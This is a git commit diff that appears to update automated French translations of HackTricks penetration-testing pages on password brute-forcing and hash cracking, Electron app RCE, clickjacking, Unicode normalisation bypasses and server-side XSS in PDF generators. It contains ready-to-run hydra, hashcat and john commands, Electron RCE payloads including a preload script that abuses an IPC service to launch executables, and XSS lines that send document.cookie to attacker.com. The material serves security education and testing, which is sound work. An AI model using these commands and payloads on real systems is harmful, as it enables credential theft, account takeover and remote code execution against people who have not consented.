Translated ['src/generic-hacking/brute-force.md', 'src/network-services-

This commit is contained in:
Translator 2025-03-09 14:22:10 +00:00
parent c8e3aa0803
commit 2501b0d15a
5 changed files with 108 additions and 48 deletions

View File

@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
### Listes de mots basées sur des sites web
```bash
# Cewl gets words from the victims page
cewl example.com -m 5 -w words.txt
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
cat /path/to/urls.txt | tok
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
cat /path/to/js-urls.txt | python3 getjswords.py
```
### [CUPP](https://github.com/Mebus/cupp)
@ -113,7 +120,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Registre Docker
### Docker Registry
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
@ -132,7 +139,7 @@ legba ftp --username admin --password wordlists/passwords.txt --target localhost
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
### Authentification de base HTTP
### HTTP Auth de Base
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
@ -275,7 +282,7 @@ Pour utiliser **oracle_login** avec **patator**, vous devez **installer** :
```bash
pip3 install cx_Oracle --upgrade
```
[Bruteforce de hash OracleSQL hors ligne](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**):
[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**) :
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
@ -302,7 +309,7 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho
```
### PPTP
Vous pouvez télécharger le package `.deb` pour l'installer depuis [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
Vous pouvez télécharger le package `.deb` à installer depuis [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
@ -508,7 +515,7 @@ qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```
### PDF Owner Password
Pour craquer un mot de passe propriétaire PDF, vérifiez ceci : [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
Pour cracker un mot de passe propriétaire PDF, consultez ceci : [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT
```bash
@ -522,7 +529,7 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
### Craquage NTLM
### Cracking NTLM
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
@ -608,7 +615,7 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
**Exemples de hachage :** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Identifiant de hachage
### Hash-identifier
```bash
hash-identifier
> <HASH>
@ -643,7 +650,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
- **Attaque par combinatoire de listes de mots**
- **Attaque par combinaison de listes de mots**
Il est possible de **combiner 2 listes de mots en 1** avec hashcat.\
Si la liste 1 contenait le mot **"hello"** et la seconde contenait 2 lignes avec les mots **"world"** et **"earth"**. Les mots `helloworld` et `helloearth` seront générés.
@ -689,7 +696,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
- Attaque Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`)
- Liste de mots + Masque (`-a 6`) / Masque + Liste de mots (`-a 7`) attaque
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

View File

@ -32,12 +32,12 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Les paramètres du **renderer process** peuvent être **configurés** dans le **main process** à l'intérieur du fichier main.js. Certaines des configurations **empêcheront l'application Electron d'obtenir un RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**.
Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** à l'intérieur du fichier main.js. Certaines des configurations **empêcheront l'application Electron d'obtenir un RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**.
L'application Electron **pourrait accéder à l'appareil** via les API Node bien qu'elle puisse être configurée pour l'en empêcher :
- **`nodeIntegration`** - est `off` par défaut. S'il est activé, permet d'accéder aux fonctionnalités Node depuis le renderer process.
- **`contextIsolation`** - est `on` par défaut. S'il est désactivé, les processus principal et renderer ne sont pas isolés.
- **`nodeIntegration`** - est `off` par défaut. S'il est activé, permet d'accéder aux fonctionnalités Node depuis le processus de rendu.
- **`contextIsolation`** - est `on` par défaut. S'il est désactivé, les processus principal et de rendu ne sont pas isolés.
- **`preload`** - vide par défaut.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est désactivé par défaut. Cela restreindra les actions que NodeJS peut effectuer.
- Intégration Node dans les Workers
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Quelques **payloads RCE** provenant de [ici](https://7as.es/electron/nodeIntegration_rce.txt) :
Quelques **RCE payloads** de [ici](https://7as.es/electron/nodeIntegration_rce.txt) :
```html
Example Payloads (Windows):
<img
@ -121,9 +121,9 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
## RCE : preload
## RCE : préchargement
Le script indiqué dans ce paramètre est l**oadé avant d'autres scripts dans le renderer**, donc il a **un accès illimité aux API Node** :
Le script indiqué dans ce paramètre est **chargé avant d'autres scripts dans le rendu**, donc il a **un accès illimité aux API Node** :
```javascript
new BrowserWindow{
webPreferences: {
@ -185,7 +185,7 @@ window.addEventListener('click', (e) => {
Pour plus d'informations sur ces exemples, consultez [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) et [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Lors du déploiement d'une application de bureau Electron, il est crucial de s'assurer que les paramètres pour `nodeIntegration` et `contextIsolation` sont corrects. Il est établi que **l'exécution de code à distance côté client (RCE)** ciblant les scripts de préchargement ou le code natif d'Electron depuis le processus principal est efficacement empêchée avec ces paramètres en place.
Lors du déploiement d'une application de bureau Electron, il est crucial de garantir les paramètres corrects pour `nodeIntegration` et `contextIsolation`. Il est établi que **l'exécution de code à distance côté client (RCE)** ciblant les scripts de préchargement ou le code natif d'Electron depuis le processus principal est efficacement empêchée avec ces paramètres en place.
Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres, des écouteurs d'événements spécifiques sont déclenchés, qui sont cruciaux pour la sécurité et la fonctionnalité de l'application :
```javascript
@ -224,6 +224,27 @@ window.open(
)
</script>
```
## RCE: webviewTag + preload IPC vuln + shell.openExternal
Cette vulnérabilité peut être trouvée dans **[ce rapport](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Le **webviewTag** est une **fonctionnalité obsolète** qui permet l'utilisation de **NodeJS** dans le **processus de rendu**, ce qui devrait être désactivé car cela permet de charger un script dans le contexte de préchargement comme :
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Par conséquent, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un script de préchargement arbitraire**.
Ce script de préchargement a ensuite été abusé pour appeler un **service IPC vulnérable (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir un RCE :
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Lecture de fichiers internes : XSS + contextIsolation
**Désactiver `contextIsolation` permet l'utilisation de balises `<webview>`**, similaire à `<iframe>`, pour lire et exfiltrer des fichiers locaux. Un exemple fourni démontre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :
@ -262,23 +283,27 @@ webContents.on("will-navigate", function (event, url) {} // o
```
L'appel à **`openInternally`** décidera si le **lien** sera **ouvert** dans la **fenêtre de bureau** car c'est un lien appartenant à la plateforme, **ou** s'il sera ouvert dans le **navigateur en tant que ressource tierce**.
Dans le cas où le **regex** utilisé par la fonction est **vulnérable aux contournements** (par exemple en **ne pas échapper les points des sous-domaines**), un attaquant pourrait abuser du XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant **demandant des identifiants** à l'utilisateur :
Dans le cas où la **regex** utilisée par la fonction est **vulnérable aux contournements** (par exemple en **ne pas échapper les points des sous-domaines**), un attaquant pourrait abuser du XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant **demandant des identifiants** à l'utilisateur :
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## Module distant
## `file://` Protocol
Le module distant d'Electron permet aux **processus de rendu d'accéder aux API du processus principal**, facilitant la communication au sein d'une application Electron. Cependant, l'activation de ce module introduit des risques de sécurité significatifs. Il élargit la surface d'attaque de l'application, la rendant plus susceptible aux vulnérabilités telles que les attaques de type cross-site scripting (XSS).
Comme mentionné dans [la documentation](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), les pages s'exécutant sur **`file://`** ont un accès unilatéral à chaque fichier sur votre machine, ce qui signifie que **les problèmes XSS peuvent être utilisés pour charger des fichiers arbitraires** depuis la machine de l'utilisateur. L'utilisation d'un **protocole personnalisé** empêche des problèmes comme celui-ci, car vous pouvez limiter le protocole à un ensemble spécifique de fichiers.
## Remote module
Le module Remote d'Electron permet aux **processus de rendu d'accéder aux API du processus principal**, facilitant la communication au sein d'une application Electron. Cependant, l'activation de ce module introduit des risques de sécurité significatifs. Il élargit la surface d'attaque de l'application, la rendant plus susceptible aux vulnérabilités telles que les attaques par script intersite (XSS).
> [!TIP]
> Bien que le module **remote** expose certaines API du principal aux processus de rendu, il n'est pas simple d'obtenir un RCE uniquement en abusant des composants. Cependant, les composants peuvent exposer des informations sensibles.
> Bien que le module **remote** expose certaines API du principal aux processus de rendu, il n'est pas simple d'obtenir un RCE juste en abusant des composants. Cependant, les composants peuvent exposer des informations sensibles.
> [!WARNING]
> De nombreuses applications qui utilisent encore le module distant le font d'une manière qui **requiert que NodeIntegration soit activé** dans le processus de rendu, ce qui représente un **énorme risque de sécurité**.
> De nombreuses applications qui utilisent encore le module remote le font d'une manière qui **nécessite l'activation de NodeIntegration** dans le processus de rendu, ce qui représente un **énorme risque de sécurité**.
Depuis Electron 14, le module `remote` d'Electron peut être activé en plusieurs étapes en raison de raisons de sécurité et de performance, il est donc **recommandé de ne pas l'utiliser**.
Depuis Electron 14, le module `remote` d'Electron peut être activé en plusieurs étapes, car pour des raisons de sécurité et de performance, il est **recommandé de ne pas l'utiliser**.
Pour l'activer, il faut d'abord **l'activer dans le processus principal** :
```javascript
@ -368,13 +393,12 @@ Pour plus d'informations, consultez :
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Outils**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) est un outil pour identifier les erreurs de configuration et les anti-modèles de sécurité dans les applications basées sur Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est un plugin open source pour VS Code pour les applications Electron qui utilise Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables
- [**Electro.ng**](https://electro.ng/): Vous devez l'acheter
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables.
- [**Electro.ng**](https://electro.ng/): Vous devez l'acheter.
## Labs

View File

@ -4,17 +4,17 @@
## Qu'est-ce que le Clickjacking
Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible**, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences inattendues pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent ou l'achat en ligne de produits.
Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible**, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences non désirées pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent, ou l'achat en ligne de produits.
### Astuce de préremplissage de formulaires
Parfois, il est possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer le payload de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
### Remplir le formulaire avec Drag\&Drop
Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **Drag\&Drop** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Charge utile de base
### Payload de base
```css
<style>
iframe {
@ -100,8 +100,10 @@ D'abord [expliqué dans ce post](https://securityaffairs.com/172572/hacking/doub
Un exemple peut être vu dans cette vidéo : [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
Un exemple de code peut être trouvé [sur cette page](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
> [!WARNING]
> Cette technique permet de tromper l'utilisateur pour qu'il clique sur 1 endroit dans la page de la victime en contournant toutes les protections contre le clickjacking. Ainsi, l'attaquant doit trouver des **actions sensibles qui peuvent être effectuées avec juste 1 clic, comme les invites OAuth acceptant des permissions**.
> Cette technique permet de tromper l'utilisateur pour qu'il clique sur 1 endroit dans la page de la victime en contournant toutes les protections contre le clickjacking. Ainsi, l'attaquant doit trouver **des actions sensibles qui peuvent être effectuées avec juste 1 clic, comme les invites OAuth acceptant des permissions**.
## Stratégies pour atténuer le Clickjacking
@ -130,7 +132,7 @@ Les valeurs `allow-forms` et `allow-scripts` permettent des actions au sein de l
#### X-Frame-Options
L'en-tête de réponse HTTP **`X-Frame-Options`** informe les navigateurs sur la légitimité de rendre une page dans un `<frame>` ou `<iframe>`, aidant à prévenir le Clickjacking :
L'**en-tête de réponse HTTP `X-Frame-Options`** informe les navigateurs sur la légitimité de l'affichage d'une page dans un `<frame>` ou `<iframe>`, aidant à prévenir le Clickjacking :
- `X-Frame-Options: deny` - Aucun domaine ne peut encadrer le contenu.
- `X-Frame-Options: sameorigin` - Seul le site actuel peut encadrer le contenu.
@ -139,7 +141,7 @@ L'en-tête de réponse HTTP **`X-Frame-Options`** informe les navigateurs sur la
#### Directive frame-ancestors de la politique de sécurité du contenu (CSP)
La directive **`frame-ancestors` dans CSP** est la méthode conseillée pour la protection contre le Clickjacking :
La **directive `frame-ancestors` dans CSP** est la méthode conseillée pour la protection contre le Clickjacking :
- `frame-ancestors 'none'` - Semblable à `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Semblable à `X-Frame-Options: sameorigin`.
@ -149,11 +151,11 @@ Par exemple, la CSP suivante n'autorise l'encadrement que depuis le même domain
`Content-Security-Policy: frame-ancestors 'self';`
Des détails supplémentaires et des exemples complexes peuvent être trouvés dans la [documentation frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) et [la documentation frame-ancestors de Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
Des détails supplémentaires et des exemples complexes peuvent être trouvés dans la [documentation frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) et la [documentation frame-ancestors de Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Politique de sécurité du contenu (CSP) avec `child-src` et `frame-src`
La **Politique de sécurité du contenu (CSP)** est une mesure de sécurité qui aide à prévenir le Clickjacking et d'autres attaques par injection de code en spécifiant quelles sources le navigateur doit autoriser à charger du contenu.
La **politique de sécurité du contenu (CSP)** est une mesure de sécurité qui aide à prévenir le Clickjacking et d'autres attaques par injection de code en spécifiant quelles sources le navigateur doit autoriser à charger du contenu.
#### Directive `frame-src`
@ -171,7 +173,7 @@ Cette politique permet des cadres de la même origine (soi) et https://trusted-w
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Cette politique permet des cadres et des travailleurs de la même origine (self) et https://trusted-website.com.
Cette politique permet des cadres et des travailleurs de la même origine (soi) et https://trusted-website.com.
**Notes d'utilisation :**

View File

@ -4,11 +4,11 @@
**Ceci est un résumé de :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consultez-le pour plus de détails (images prises de là).
## Comprendre Unicode et Normalisation
## Comprendre Unicode et la Normalisation
La normalisation Unicode est un processus qui garantit que différentes représentations binaires de caractères sont standardisées à la même valeur binaire. Ce processus est crucial pour traiter des chaînes dans la programmation et le traitement des données. La norme Unicode définit deux types d'équivalence de caractères :
1. **Équivalence Canonique** : Les caractères sont considérés comme équivalents canoniques s'ils ont la même apparence et signification lorsqu'ils sont imprimés ou affichés.
1. **Équivalence Canonique** : Les caractères sont considérés comme équivalents canoniquement s'ils ont la même apparence et signification lorsqu'ils sont imprimés ou affichés.
2. **Équivalence de Compatibilité** : Une forme d'équivalence plus faible où les caractères peuvent représenter le même caractère abstrait mais peuvent être affichés différemment.
Il existe **quatre algorithmes de normalisation Unicode** : NFC, NFD, NFKC et NFKD. Chaque algorithme utilise les techniques de normalisation canonique et de compatibilité de manière différente. Pour une compréhension plus approfondie, vous pouvez explorer ces techniques sur [Unicode.org](https://unicode.org/).
@ -29,7 +29,7 @@ Un exemple de la façon dont Unicode normalise deux octets différents représen
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**Une liste de caractères équivalents en Unicode peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) et [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
**Une liste de caractères équivalents Unicode peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) et [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
### Découverte
@ -43,11 +43,11 @@ Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9
Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée de l'utilisateur. Ce web, comme mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée de l'utilisateur, mais **après cette suppression** et **avant la création** de la requête, il **normalise** l'entrée de l'utilisateur en utilisant **Unicode**.
Ensuite, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, un guillemet simple est créé et une **vulnérabilité d'injection SQL** apparaît :
Alors, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, un guillemet simple est créé et une **vulnérabilité d'injection SQL** apparaît :
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
**Certains caractères Unicode intéressants**
**Quelques caractères Unicode intéressants**
- `o` -- %e1%b4%bc
- `r` -- %e1%b4%bf
@ -81,24 +81,34 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
### XSS (Cross Site Scripting)
Vous pourriez utiliser l'un des caractères suivants pour tromper l'application web et exploiter un XSS :
Vous pouvez utiliser l'un des caractères suivants pour tromper l'application web et exploiter un XSS :
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
Remarquez que, par exemple, le premier caractère Unicode proposé peut être envoyé sous la forme : `%e2%89%ae` ou `%u226e`
Notez que, par exemple, le premier caractère Unicode proposé peut être envoyé sous la forme : `%e2%89%ae` ou `%u226e`
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
### Fuzzing Regexes
Lorsque le backend **vérifie l'entrée utilisateur avec une regex**, il se peut que l'**entrée** soit **normalisée** pour la **regex** mais **pas** pour l'endroit où elle est **utilisée**. Par exemple, dans un Open Redirect ou SSRF, la regex pourrait être **normalisant l'URL envoyée** mais ensuite **y accédant telle quelle**.
Lorsque le backend **vérifie l'entrée utilisateur avec une regex**, il se peut que l'**entrée** soit **normalisée** pour la **regex** mais **pas** pour l'endroit où elle est **utilisée**. Par exemple, dans un Open Redirect ou SSRF, la regex peut **normaliser l'URL envoyée** mais ensuite **y accéder telle quelle**.
L'outil [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permet de **générer des variations de l'entrée** pour fuzz le backend. Pour plus d'infos, consultez le **github** et ce [**post**](https://0xacb.com/2022/11/21/recollapse/).
## Débordement Unicode
D'après ce [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), la valeur maximale d'un octet est 255, si le serveur est vulnérable, un débordement peut être conçu pour produire un caractère ASCII spécifique et inattendu. Par exemple, les caractères suivants seront convertis en `A` :
- 0x4e41
- 0x4f41
- 0x5041
- 0x5141
## Références
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,8 +4,8 @@
## Server Side XSS (Dynamic PDF)
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.\
Ainsi, si le **bot créateur de PDF trouve** une sorte de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS Serveur**.
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour **exécuter du code JS arbitraire**.\
Donc, si le **bot créateur de PDF trouve** une sorte de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS Serveur**.
Veuillez noter que les balises `<script></script>` ne fonctionnent pas toujours, donc vous aurez besoin d'une méthode différente pour exécuter JS (par exemple, en abusant de `<img` ).\
De plus, notez que dans une exploitation régulière, vous serez **capable de voir/télécharger le PDF créé**, donc vous pourrez voir tout ce que vous **écrivez via JS** (en utilisant `document.write()` par exemple). Mais, si vous **ne pouvez pas voir** le PDF créé, vous aurez probablement besoin **d'extraire l'information en faisant des requêtes web vers vous** (Blind).
@ -22,7 +22,7 @@ De plus, notez que dans une exploitation régulière, vous serez **capable de vo
### Discovery
```html
<!-- Basic discovery, Write somthing-->
<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
@ -32,6 +32,22 @@ De plus, notez que dans une exploitation régulière, vous serez **capable de vo
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
```
### SVG
@ -60,7 +76,7 @@ alert(1);
</script>
</svg>
```
Vous pouvez trouver beaucoup **d'autres charges utiles SVG** dans [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Vous pouvez trouver beaucoup **d'autres charges utiles SVG** sur [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
### Divulgation de chemin
```html
@ -153,7 +169,7 @@ Cette vulnérabilité peut être transformée très facilement en SSRF (car vous
Il existe des moteurs HTML 2 PDF qui permettent de **spécifier des pièces jointes pour le PDF**, comme **PD4ML**. Vous pouvez abuser de cette fonctionnalité pour **joindre n'importe quel fichier local** au PDF.\
Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec **Firefox et double-cliqué sur le symbole du trombone** pour **enregistrer la pièce jointe** en tant que nouveau fichier.\
Capturer la **réponse PDF** avec burp devrait également **montrer la pièce jointe en texte clair** à l'intérieur du PDF.
Capturer la **réponse PDF** avec burp devrait également **afficher la pièce jointe en texte clair** à l'intérieur du PDF.
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>
@ -169,5 +185,6 @@ icon="Paperclip" />
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
{{#include ../../banners/hacktricks-training.md}}